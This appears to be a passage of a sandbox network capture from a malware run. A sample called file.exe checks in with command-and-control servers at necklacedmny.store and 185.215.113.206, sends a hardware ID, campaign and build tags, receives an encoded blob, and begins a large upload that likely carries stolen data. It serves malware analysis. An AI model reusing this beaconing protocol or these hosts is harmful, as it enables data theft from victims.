Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	59927	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:34.841242075 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 1, 2024 05:03:35.753350019 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:03:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 1, 2024 05:03:35.864097118 CET	413	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BAFIEGIECGCBKFIEBGCA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 30 45 45 43 44 37 45 45 35 42 45 39 31 30 34 31 30 39 35 32 36 35 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 74 61 6c 65 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 49 45 47 49 45 43 47 43 42 4b 46 49 45 42 47 43 41 2d 2d 0d 0a Data Ascii: ------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="hwid"0EECD7EE5BE91041095265------BAFIEGIECGCBKFIEBGCAContent-Disposition: form-data; name="build"tale------BAFIEGIECGCBKFIEBGCA--
Nov 1, 2024 05:03:36.153260946 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:03:35 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	59934	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:45.223391056 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:45.826144934 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68266 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:45.920274019 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:46.045140982 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68266 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:46.084150076 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:46.209187031 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68267 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 1, 2024 05:03:46.272645950 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 1, 2024 05:03:46.396675110 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 68267 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	59946	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:45.834625959 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.5	59949	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:46.059741020 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.5	59953	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 1, 2024 05:03:46.253662109 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:02 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-11-01 04:01:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-01 04:01:02 UTC	1013	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=emkooa8u0n009u6jqrt4sj4592; expires=Mon, 24-Feb-2025 21:47:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=c8E9POP2q3axPAWan7exmgD0xlriwTpkmjuL055MFb2NIPs%2FQYmCumsEesOc4ljYWoAdyjGTwUdULcQwcugLBDwoE%2BWXsZlIN9Y4AS1Y6%2Fygj5vvvwgVhAiXAUxgM3M91HnfZbQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb346a3d2e79-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1607&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1732057&cwnd=248&unsent_bytes=0&cid=d1defd7869198681&ts=558&x=0"
2024-11-01 04:01:02 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-01 04:01:02 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:03 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-11-01 04:01:03 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-11-01 04:01:04 UTC	1021	IN	HTTP/1.1 200 OK Date: Fri, 01 Nov 2024 04:01:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6s3697mea63e9nrsrr28sj8339; expires=Mon, 24-Feb-2025 21:47:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0bns3e45Tl0g7oep%2BY8jK2mmWUc%2BpKzC%2FQ18A%2B3btfGQMLGAQZATw45%2FRwntUMcHyQ23cMuLOhpOIVKH3Va7%2FNA1hcQ4mpJ1xwExMGOwJXgM5rVy4eJcp9u7jfpEcUPQ%2FQ3SXEo%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db8fb3ba8164802-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1078&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2475213&cwnd=250&unsent_bytes=0&cid=10771fd9699fddb8&ts=884&x=0"
2024-11-01 04:01:04 UTC	348	IN	Data Raw: 31 64 38 62 0d 0a 63 30 76 33 72 4d 74 4e 57 57 74 48 52 35 38 6b 55 4d 4f 4f 42 41 73 37 51 73 66 4f 59 59 43 33 62 55 76 78 42 55 6d 65 6c 56 77 49 61 59 47 4f 38 58 6c 31 53 54 51 69 76 52 34 6b 73 66 74 68 4a 78 6b 6a 6f 2b 78 62 35 74 59 42 4f 4a 51 70 61 2b 6a 34 66 6b 6b 74 6c 73 43 34 4b 48 56 4a 49 6a 2b 39 48 67 75 34 72 47 46 6c 47 58 6a 6c 71 77 76 69 31 67 45 70 6b 47 34 6d 37 76 6b 2f 47 79 65 51 78 4b 34 75 50 51 6f 72 4b 76 70 42 4e 61 4c 6b 61 6d 4a 57 4b 71 72 73 54 61 4c 53 46 32 6e 4c 4a 77 54 37 34 54 30 2b 4b 6f 54 48 36 54 42 31 45 47 55 69 38 51 5a 71 34 65 39 68 61 56 63 6b 6f 36 55 4a 36 4e 38 4a 4b 4a 56 76 4f 66 66 7a 4e 42 73 70 6b 38 57 6b 4a 79 6b 48 49 53 33 78 52 7a 2b 69 72 43 67 70 58 6a 6a 6c 39 45 4f 78 35 77 77 34 67 Data Ascii: 1d8bc0v3rMtNWWtHR58kUMOOBAs7QsfOYYC3bUvxBUmelVwIaYGO8Xl1STQivR4ksfthJxkjo+xb5tYBOJQpa+j4fkktlsC4KHVJIj+9Hgu4rGFlGXjlqwvi1gEpkG4m7vk/GyeQxK4uPQorKvpBNaLkamJWKqrsTaLSF2nLJwT74T0+KoTH6TB1EGUi8QZq4e9haVcko6UJ6N8JKJVvOffzNBspk8WkJykHIS3xRz+irCgpXjjl9EOx5ww4g
2024-11-01 04:01:04 UTC	1369	IN	Data Raw: 6c 70 6b 38 43 6f 49 6a 73 62 4c 53 37 32 51 79 43 71 35 57 74 6b 57 53 32 76 6f 77 44 69 30 67 55 6a 6e 47 30 76 38 66 6f 34 45 53 6e 56 67 4f 6b 6f 49 30 6c 39 5a 64 35 44 49 71 62 67 63 43 74 6a 59 4c 72 69 47 71 4c 53 41 32 6e 4c 4a 79 50 35 39 44 30 61 4a 70 62 47 6f 6a 30 37 47 79 4d 6f 2b 46 51 30 70 4f 4a 73 61 6b 73 71 71 36 6f 41 36 39 34 47 4c 4a 52 6a 61 37 4b 33 4f 51 6c 70 7a 59 36 49 49 6a 41 46 4c 7a 4c 39 42 69 33 76 39 53 5a 75 56 57 44 39 37 41 66 6a 30 51 34 74 6e 57 6b 76 38 50 45 77 48 43 61 54 78 4b 6b 6f 4d 51 45 74 4a 50 42 4e 50 61 48 70 61 32 31 66 4c 4b 53 70 51 36 79 56 43 44 48 54 50 32 76 53 38 44 30 44 61 36 44 4e 70 79 45 38 48 32 55 36 73 31 39 79 70 75 41 6d 4d 52 6b 75 6f 4b 4d 52 34 38 63 4b 4a 34 46 72 4c 76 72 36 50 Data Ascii: lpk8CoIjsbLS72QyCq5WtkWS2vowDi0gUjnG0v8fo4ESnVgOkoI0l9Zd5DIqbgcCtjYLriGqLSA2nLJyP59D0aJpbGoj07GyMo+FQ0pOJsaksqq6oA694GLJRja7K3OQlpzY6IIjAFLzL9Bi3v9SZuVWD97Afj0Q4tnWkv8PEwHCaTxKkoMQEtJPBNPaHpa21fLKSpQ6yVCDHTP2vS8D0Da6DNpyE8H2U6s19ypuAmMRkuoKMR48cKJ4FrLvr6P
2024-11-01 04:01:04 UTC	1369	IN	Data Raw: 4e 70 79 45 38 48 32 55 36 73 31 39 79 70 75 41 6d 4d 52 6b 73 72 4b 77 49 36 4e 45 50 4c 70 35 69 4b 50 76 30 4d 78 59 6a 6d 38 6d 74 49 7a 49 45 49 79 58 36 51 6a 65 7a 36 57 39 6c 56 57 44 72 37 41 54 36 6c 56 64 70 76 47 41 39 2f 39 67 39 41 43 44 56 30 65 63 32 65 77 34 70 5a 61 55 47 4e 61 54 6b 62 57 39 52 49 4c 65 70 44 65 6e 55 42 53 2b 53 61 69 66 36 39 7a 38 52 4c 35 6e 4f 72 69 67 70 47 79 41 6a 37 30 78 79 37 36 78 68 63 52 6c 34 35 5a 6f 54 39 63 51 5a 61 36 5a 6b 4a 66 4c 77 4b 46 45 32 32 39 66 70 4b 44 64 4a 66 57 58 32 52 6a 36 6d 35 47 42 74 55 53 2b 71 70 52 48 6a 32 51 45 37 6c 47 63 69 38 76 67 79 47 43 53 53 77 36 49 6c 4e 67 30 69 4a 4c 30 49 63 71 62 30 4a 6a 45 5a 46 72 57 68 44 38 7a 65 41 79 44 54 65 47 58 6c 74 7a 6b 64 61 63 Data Ascii: NpyE8H2U6s19ypuAmMRksrKwI6NEPLp5iKPv0MxYjm8mtIzIEIyX6Qjez6W9lVWDr7AT6lVdpvGA9/9g9ACDV0ec2ew4pZaUGNaTkbW9RILepDenUBS+Saif69z8RL5nOrigpGyAj70xy76xhcRl45ZoT9cQZa6ZkJfLwKFE229fpKDdJfWX2Rj6m5GBtUS+qpRHj2QE7lGci8vgyGCSSw6IlNg0iJL0Icqb0JjEZFrWhD8zeAyDTeGXltzkdac
2024-11-01 04:01:04 UTC	1369	IN	Data Raw: 4e 51 59 6b 49 66 68 44 4e 71 62 6f 59 47 59 5a 62 75 57 72 47 36 4b 4e 54 77 61 30 55 6d 6e 64 7a 58 34 4f 5a 34 79 4f 72 69 4e 37 55 57 55 70 2f 6b 6f 36 72 75 70 76 5a 56 4d 70 72 71 41 49 35 74 6b 47 4c 4a 56 6d 4c 76 6e 32 4f 68 30 6a 6b 38 32 71 49 44 51 47 4c 57 57 7a 42 6a 57 35 72 44 34 70 66 44 65 75 6f 67 57 69 79 6b 45 77 30 32 41 6e 76 4b 39 2b 48 53 43 54 79 4b 77 6a 4f 67 38 74 49 50 56 43 4d 36 66 71 5a 57 5a 64 4a 61 53 6a 42 2b 37 62 42 53 69 53 61 79 44 7a 2f 44 74 52 5a 39 58 4a 73 57 39 6a 53 52 51 6d 36 31 45 69 72 61 78 35 4a 30 42 67 6f 71 42 44 75 70 55 4f 4f 35 6c 74 4a 66 6e 34 4f 78 49 6d 6b 73 4f 76 49 7a 45 41 4c 53 50 79 54 79 43 69 34 47 68 75 56 79 79 72 6f 51 6e 68 32 45 39 6e 30 32 41 7a 76 4b 39 2b 50 53 36 59 34 4b 49 Data Ascii: NQYkIfhDNqboYGYZbuWrG6KNTwa0UmndzX4OZ4yOriN7UWUp/ko6rupvZVMprqAI5tkGLJVmLvn2Oh0jk82qIDQGLWWzBjW5rD4pfDeuogWiykEw02AnvK9+HSCTyKwjOg8tIPVCM6fqZWZdJaSjB+7bBSiSayDz/DtRZ9XJsW9jSRQm61Eirax5J0BgoqBDupUOO5ltJfn4OxImksOvIzEALSPyTyCi4GhuVyyroQnh2E9n02AzvK9+PS6Y4KI
2024-11-01 04:01:04 UTC	1369	IN	Data Raw: 44 66 76 42 6e 7a 68 36 33 34 70 41 57 43 54 71 78 50 79 31 6b 30 59 68 57 51 39 39 2f 6f 79 55 54 62 62 31 2b 6b 6f 4e 30 6c 39 5a 66 74 4a 4f 36 4c 6a 5a 32 42 56 4c 61 43 6c 42 75 50 54 43 79 4f 5a 5a 79 33 36 39 6a 73 62 4b 70 54 45 6f 43 67 7a 44 69 59 33 76 51 68 79 70 76 51 6d 4d 52 6b 4a 6f 72 34 4e 38 70 55 51 5a 34 6f 6e 4c 50 43 33 5a 6c 45 74 6e 38 47 74 4b 44 63 50 49 43 50 77 52 7a 32 67 37 47 6c 74 55 69 6d 6a 72 51 37 6e 32 41 73 37 6d 57 77 6b 38 50 34 79 48 47 6e 62 6a 71 34 33 65 31 46 6c 46 50 42 49 50 4b 62 36 4a 6e 59 58 4f 65 57 72 44 36 4b 4e 54 79 69 66 61 43 6a 7a 39 44 30 51 49 34 66 63 70 53 59 7a 44 43 6b 75 38 30 41 67 70 2b 4e 76 61 6c 6f 70 6f 71 51 50 36 4e 59 49 61 64 30 6e 4c 4f 53 33 5a 6c 45 4b 67 74 36 6b 62 79 52 48 Data Ascii: DfvBnzh634pAWCTqxPy1k0YhWQ99/oyUTbb1+koN0l9ZftJO6LjZ2BVLaClBuPTCyOZZy369jsbKpTEoCgzDiY3vQhypvQmMRkJor4N8pUQZ4onLPC3ZlEtn8GtKDcPICPwRz2g7GltUimjrQ7n2As7mWwk8P4yHGnbjq43e1FlFPBIPKb6JnYXOeWrD6KNTyifaCjz9D0QI4fcpSYzDCku80Agp+NvalopoqQP6NYIad0nLOS3ZlEKgt6kbyRH
2024-11-01 04:01:04 UTC	1369	IN	Data Raw: 38 30 70 75 70 6f 65 31 77 6d 71 71 4d 4b 36 39 45 48 4b 70 4e 6a 4c 2f 76 79 50 52 30 69 6b 73 32 6d 4b 7a 49 48 4c 43 71 39 43 48 4b 6d 39 43 59 78 47 51 47 2b 72 77 2f 76 6c 52 42 6e 69 69 63 73 38 4c 64 6d 55 53 57 62 79 36 6b 6c 50 51 30 67 49 2f 64 44 4d 71 72 76 61 57 31 66 4a 4b 71 73 43 4f 76 55 43 53 79 5a 62 43 33 78 39 44 67 58 61 64 75 4f 72 6a 64 37 55 57 55 46 35 6b 73 2b 70 71 78 35 4a 30 42 67 6f 71 42 44 75 70 55 45 4a 5a 64 67 4b 2f 48 30 4e 68 51 74 6e 38 75 70 4a 79 6b 42 4a 53 4c 76 56 44 4b 6f 36 57 70 71 57 53 53 6a 70 51 58 68 30 55 39 6e 30 32 41 7a 76 4b 39 2b 50 43 57 53 35 36 34 30 65 78 5a 72 50 4c 31 42 50 75 47 30 4a 6d 68 53 4b 71 71 68 41 4f 54 57 42 43 79 5a 5a 69 7a 30 2b 69 77 53 4a 70 72 4b 71 53 41 39 44 79 51 71 2b Data Ascii: 80pupoe1wmqqMK69EHKpNjL/vyPR0iks2mKzIHLCq9CHKm9CYxGQG+rw/vlRBniics8LdmUSWby6klPQ0gI/dDMqrvaW1fJKqsCOvUCSyZbC3x9DgXaduOrjd7UWUF5ks+pqx5J0BgoqBDupUEJZdgK/H0NhQtn8upJykBJSLvVDKo6WpqWSSjpQXh0U9n02AzvK9+PCWS5640exZrPL1BPuG0JmhSKqqhAOTWBCyZZiz0+iwSJprKqSA9DyQq+
2024-11-01 04:01:04 UTC	378	IN	Data Raw: 76 63 47 6f 65 48 70 75 4c 46 65 6a 53 48 79 36 45 61 47 75 79 74 7a 46 52 63 61 79 4f 6f 43 67 67 47 44 4d 6f 37 55 46 79 6e 71 49 6d 63 52 6c 34 35 5a 6b 41 37 4e 73 49 50 34 49 71 44 4f 72 39 4f 51 45 75 67 73 48 70 59 58 73 50 5a 58 32 75 43 48 4b 6c 2f 53 59 78 43 58 4c 2b 2b 56 43 31 68 56 30 32 33 58 35 72 36 72 64 6d 51 32 66 56 33 4f 6c 33 65 30 34 6d 4e 2b 39 41 4d 62 66 76 49 56 64 6e 42 37 2b 68 42 66 58 45 4d 52 65 55 66 53 62 36 34 43 39 64 50 4a 62 41 70 79 67 74 53 57 74 6c 38 67 5a 71 6d 4b 77 75 4b 57 5a 75 35 62 52 44 75 70 55 36 4b 70 31 70 4c 4f 72 6d 63 7a 59 7a 6d 4d 69 2b 50 6e 74 48 5a 53 4f 39 48 6d 4c 76 72 47 4a 34 47 58 6a 31 2f 6c 69 33 68 6c 68 35 77 58 68 6c 35 62 63 6f 55 58 48 48 67 4f 6b 39 65 31 46 6c 59 76 35 55 49 4b Data Ascii: vcGoeHpuLFejSHy6EaGuytzFRcayOoCggGDMo7UFynqImcRl45ZkA7NsIP4IqDOr9OQEugsHpYXsPZX2uCHKl/SYxCXL++VC1hV023X5r6rdmQ2fV3Ol3e04mN+9AMbfvIVdnB7+hBfXEMReUfSb64C9dPJbApygtSWtl8gZqmKwuKWZu5bRDupU6Kp1pLOrmczYzmMi+PntHZSO9HmLvrGJ4GXj1/li3hlh5wXhl5bcoUXHHgOk9e1FlYv5UIK
2024-11-01 04:01:04 UTC	1369	IN	Data Raw: 32 36 65 31 0d 0a 33 4e 2f 74 46 4a 4b 4b 72 57 46 64 61 4e 71 69 6a 43 4f 50 72 4d 51 65 65 5a 69 6a 79 74 51 38 48 4a 49 58 4e 72 43 67 46 4e 79 73 69 36 55 45 38 70 2b 77 6d 4a 78 6b 76 35 66 51 36 6f 70 31 50 46 74 30 6e 4d 37 79 76 66 69 51 71 6d 38 43 75 4f 53 70 45 42 6a 50 77 53 54 6d 67 72 43 67 70 58 32 44 39 2f 45 32 69 30 52 35 70 79 7a 64 35 70 36 4a 74 52 6e 6e 48 30 65 63 32 65 78 39 6c 66 61 38 49 63 72 4f 73 50 69 6b 65 4c 71 69 74 41 4f 7a 57 48 54 75 56 5a 44 33 2f 73 41 41 76 43 4a 6a 46 70 53 49 30 41 68 73 62 33 45 73 35 72 65 46 70 59 6d 63 65 73 4b 38 4e 37 4e 49 5a 4f 4e 4d 70 61 2f 4f 33 5a 69 68 70 33 59 36 57 59 58 73 52 5a 58 32 39 63 7a 47 76 34 6d 46 2f 53 47 32 45 6f 51 6a 75 32 41 41 69 30 79 6c 72 2b 72 64 6d 51 57 66 56 Data Ascii: 26e13N/tFJKKrWFdaNqijCOPrMQeeZijytQ8HJIXNrCgFNysi6UE8p+wmJxkv5fQ6op1PFt0nM7yvfiQqm8CuOSpEBjPwSTmgrCgpX2D9/E2i0R5pyzd5p6JtRnnH0ec2ex9lfa8IcrOsPikeLqitAOzWHTuVZD3/sAAvCJjFpSI0Ahsb3Es5reFpYmcesK8N7NIZONMpa/O3Zihp3Y6WYXsRZX29czGv4mF/SG2EoQju2AAi0ylr+rdmQWfV
2024-11-01 04:01:04 UTC	1369	IN	Data Raw: 77 4b 4e 53 50 2b 65 41 79 4b 34 47 42 75 51 79 65 6a 69 69 4f 69 6d 30 38 6d 30 7a 38 53 76 4c 39 2b 4c 6d 66 56 31 75 6c 33 65 7a 77 6d 4b 2f 4e 42 4a 4c 43 68 51 33 35 61 4d 4b 4f 76 51 36 79 56 43 57 6e 4c 4e 32 57 38 38 79 39 52 63 63 57 63 38 6e 70 6f 58 6e 56 33 34 67 67 72 34 66 6f 6d 4d 51 74 75 35 62 35 44 75 70 56 49 4b 6f 46 31 4c 66 2f 68 50 56 59 58 71 2b 69 71 50 6a 45 6f 4b 44 58 36 65 41 79 30 37 32 68 6e 58 6a 61 30 37 45 32 69 32 6b 39 78 71 69 64 6a 73 50 45 39 42 32 6d 71 67 4f 6b 33 65 31 46 6c 45 50 35 49 50 4b 62 36 64 79 52 2f 49 37 53 6d 49 75 2f 46 43 47 6e 64 4a 79 32 38 72 32 31 66 61 5a 48 66 36 58 64 72 57 33 35 77 72 68 46 69 38 2f 4d 6f 63 42 6b 32 35 66 52 52 72 4a 55 64 61 63 73 6e 62 50 2f 6c 4c 42 63 71 67 38 33 75 45 Data Ascii: wKNSP+eAyK4GBuQyejiiOim08m0z8SvL9+LmfV1ul3ezwmK/NBJLChQ35aMKOvQ6yVCWnLN2W88y9RccWc8npoXnV34ggr4fomMQtu5b5DupVIKoF1Lf/hPVYXq+iqPjEoKDX6eAy072hnXja07E2i2k9xqidjsPE9B2mqgOk3e1FlEP5IPKb6dyR/I7SmIu/FCGndJy28r21faZHf6XdrW35wrhFi8/MocBk25fRRrJUdacsnbP/lLBcqg83uE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	188.114.96.3	443	5440	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-01 04:01:05 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12840 Host: necklacedmny.store
